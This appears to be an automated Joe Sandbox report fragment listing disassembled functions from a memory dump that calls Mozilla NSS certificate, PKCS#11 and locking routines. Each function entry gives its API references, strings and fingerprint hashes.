strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEC6D8C
free.MOZGLUE(00000000), ref: 6CEC6DC5
free.MOZGLUE(?), ref: 6CEC6DD6
free.MOZGLUE(?), ref: 6CEC6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEC6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6E72
free.MOZGLUE(?), ref: 6CEC6EA7
free.MOZGLUE(?), ref: 6CEC6EC4
free.MOZGLUE(?), ref: 6CEC6ED5
free.MOZGLUE(00000000), ref: 6CEC6EE3
free.MOZGLUE(?), ref: 6CEC6EF4
free.MOZGLUE(?), ref: 6CEC6F08
free.MOZGLUE(00000000), ref: 6CEC6F35
free.MOZGLUE(?), ref: 6CEC6F44
free.MOZGLUE(?), ref: 6CEC6F5B
free.MOZGLUE(00000000), ref: 6CEC6F65

Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEC781D,00000000,6CEBBE2C,?,6CEC6B1D,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C40
Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEC781D,?,6CEBBE2C,?), ref: 6CEC6C58
Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C6F
Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEC6C84
Part of subcall function 6CEC6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEC6C96
Part of subcall function 6CEC6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEC6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CEC6FF4

Strings

+`l, xrefs: 6CEC6D0D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 8e8d0b076773f81e33159858c1dd0ca5f28ebd51d90d4c50797e5c001408425c
Instruction ID: 98c3fc1f9cb108332da8ced8606a0c985d2b28af44b6fdd0b69e796b19cb96fa
Opcode Fuzzy Hash: 8e8d0b076773f81e33159858c1dd0ca5f28ebd51d90d4c50797e5c001408425c
Instruction Fuzzy Hash: 2DB11BB5F012199FDF00DBA5DA45BAFBBB8AF0534CF240025E825E7741E731A915CBA2

Function 6CE8DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8DDDE

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE8DDF5

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE8DE34
PR_Now.NSS3 ref: 6CE8DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE8DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE8DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE8DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE8DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE8DEF0
PR_smprintf.NSS3(6CFBAAF9,(NULL) (Validity Unknown)), ref: 6CE8DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE8DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE8DF33
free.MOZGLUE(00000000), ref: 6CE8DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8DF4B
free.MOZGLUE(00000000), ref: 6CE8DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CE8DEFA
{???}, xrefs: 6CE8DE8B
%s%s, xrefs: 6CE8DEEB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 476608ca017335c9b6227c8cb0d1d7c789b5fd25ff56ab45917bd0eb867eef06
Instruction ID: ca49deb3a993e3df2414ae676ba1e9a39445a2778ca0c007710ae22792722195
Opcode Fuzzy Hash: 476608ca017335c9b6227c8cb0d1d7c789b5fd25ff56ab45917bd0eb867eef06
Instruction Fuzzy Hash: 7E51A4B5E011065BDF10DF659C41AAF7BB9AF85398F244029E80DE7B01EB31DA15CBE2

Function 6CEC2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CEC2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CEC2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C,?,-00000001,00000000,?), ref: 6CEC2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C,?,-00000001,00000000), ref: 6CEC2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEC2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEC2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEC2EF8
PR_Unlock.NSS3(?), ref: 6CEC2F62
TlsGetValue.KERNEL32 ref: 6CEC2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEC2F9E
PR_Unlock.NSS3(?), ref: 6CEC2FCA
TlsGetValue.KERNEL32 ref: 6CEC301A
EnterCriticalSection.KERNEL32(?), ref: 6CEC302E
PR_Unlock.NSS3(?), ref: 6CEC3066
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3085
PR_Unlock.NSS3(?), ref: 6CEC30EC
TlsGetValue.KERNEL32 ref: 6CEC310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEC3124
PR_Unlock.NSS3(?), ref: 6CEC314C

Part of subcall function 6CEA9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CED379E,?,6CEA9568,00000000,?,6CED379E,?,00000001,?), ref: 6CEA918D
Part of subcall function 6CEA9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CED379E,?,6CEA9568,00000000,?,6CED379E,?,00000001,?), ref: 6CEA91A0

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

PR_SetError.NSS3(00000000,00000000), ref: 6CEC316D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 898b4142bd68c8a85265cf3206ca6544ecd2dede9fbd412845a097e487bc7c47
Instruction ID: a4201ef059192ffbaa386300ead3ca10885f40ad40297dd241f3667e6071f3b2
Opcode Fuzzy Hash: 898b4142bd68c8a85265cf3206ca6544ecd2dede9fbd412845a097e487bc7c47
Instruction Fuzzy Hash: 29F19CB1E00608AFDF40DFA8D844B99BBB5BF09318F244169EC14A7711EB31E995CB92

Function 6CEBAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CEBAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEBAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAF83

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEBAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CEBAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CEBAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEBAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEBB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEBB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CEBB041

Strings

ulDataLen = %d, xrefs: 6CEBB00A
C_SignMessage, xrefs: 6CEBAF41
ulParameterLen = 0x%p, xrefs: 6CEBAFD4
pData = 0x%p, xrefs: 6CEBAFEF
pSignature = 0x%p, xrefs: 6CEBB023
pulSignatureLen = 0x%p, xrefs: 6CEBB03C
(CK_INVALID_HANDLE), xrefs: 6CEBAF7C
pParameter = 0x%p, xrefs: 6CEBAFB9
hSession = 0x%x, xrefs: 6CEBAF5E, 6CEBAF6E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 11faf59c8ebcf9ec635e6a0103e6cd793a3fc81d8dadf00a513b81ec1d26c127
Instruction ID: bccef9e1c05666ee24540fc9673e3d93fe6e7a5e74e10415ffdf7a2b581c3dda
Opcode Fuzzy Hash: 11faf59c8ebcf9ec635e6a0103e6cd793a3fc81d8dadf00a513b81ec1d26c127
Instruction Fuzzy Hash: 3341E635A01009FFDF848F54DE88FA97BB2AB4A30DF194428F50867721DB368D19CBA1

Function 6CEA9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CEA9FBE

Part of subcall function 6CE82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE82F0A
Part of subcall function 6CE82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE82F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEAA015

Part of subcall function 6CEC1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CEC563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CEC195C
Part of subcall function 6CEC1940: EnterCriticalSection.KERNEL32(?,?,6CEC563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE9EAC5,00000001), ref: 6CEC1970
Part of subcall function 6CEC1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE9EAC5,00000001,?,6CE9CE9B,00000001,6CE9EAC5), ref: 6CEC19A0

PL_FreeArenaPool.NSS3(?), ref: 6CEAA067
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEAA055

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAA07E
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEAA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CEAA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CEAA0CF
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEAA12E
PL_FreeArenaPool.NSS3(?), ref: 6CEAA140
PL_FinishArenaPool.NSS3(?), ref: 6CEAA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAA158
PL_FinishArenaPool.NSS3(?), ref: 6CEAA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CEAA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEAA1B2
free.MOZGLUE(00000000), ref: 6CEAA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CEAA1D6

Part of subcall function 6CEC55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE9EAC5,00000001,?,6CE9CE9B,00000001,6CE9EAC5,00000003,-00000004,00000000,?,6CE9EAC5), ref: 6CEC5627
Part of subcall function 6CEC55E0: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0,?,?,?,?,?,?,?,?,?,?,6CE9EAC5,00000001,?,6CE9CE9B), ref: 6CEC564F
Part of subcall function 6CEC55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9EAC5,00000001), ref: 6CEC5661
Part of subcall function 6CEC55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9EAC5), ref: 6CEC56AF

Strings

security, xrefs: 6CEAA00F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: bb31e5df51d808d69576b43c37d6d8b8aeb46da4b13892456cf8a652ccfa1c2e
Instruction ID: a51e2dc2aeed04ea999f8e4cebb718c4ff556f7a55c8180648ea96f26b21aa5d
Opcode Fuzzy Hash: bb31e5df51d808d69576b43c37d6d8b8aeb46da4b13892456cf8a652ccfa1c2e
Instruction Fuzzy Hash: 5A51D8B1E403096FEB119BE5DC84BAE7378AF5974CF300029E905AFB41E775950ACB92

Function 6CEC4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEC4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CEC4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4DB7

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

TlsGetValue.KERNEL32 ref: 6CEC4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CEC4DEC
PR_Unlock.NSS3(?), ref: 6CEC4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CEC4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CEC4E71
free.MOZGLUE(00000000), ref: 6CEC4E7A
PR_Unlock.NSS3(?), ref: 6CEC4EA2
TlsGetValue.KERNEL32 ref: 6CEC4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CEC4ED6
PR_Unlock.NSS3(?), ref: 6CEC4F01
free.MOZGLUE(00000000), ref: 6CEC4F2A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 6ffe099877773f46f87e318af2188f636a2144fe5454dff181651d855224f99f
Instruction ID: 2059a8c1790c4bf1fdf37b5d14f302876d8f309ea0b4cfb3c6a877eaf3b01bef
Opcode Fuzzy Hash: 6ffe099877773f46f87e318af2188f636a2144fe5454dff181651d855224f99f
Instruction Fuzzy Hash: B8B11371F002059FEB40EF68D940BAA77B4BF09318F254129ED259BB11EB34E961CBD2

Function 6CECFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFB4

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFC6

Part of subcall function 6CF498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF49946
Part of subcall function 6CF498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE016B7,00000000), ref: 6CF4994E
Part of subcall function 6CF498D0: free.MOZGLUE(00000000), ref: 6CF4995E

PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFD6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFE6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFF6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0006
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0016
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0026
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0036
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0046
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0056
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0066
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0076
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0086
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0096
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00A6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00B6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00C6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00D6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00E6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 318627c730e4fc7418084243698eab799bc1be2d5b9b002249391bef241a9a88
Instruction ID: 1749977245aba9ec23fb3b4b1804a8d503ef5571b362dad7c4fa1c6b53044c21
Opcode Fuzzy Hash: 318627c730e4fc7418084243698eab799bc1be2d5b9b002249391bef241a9a88
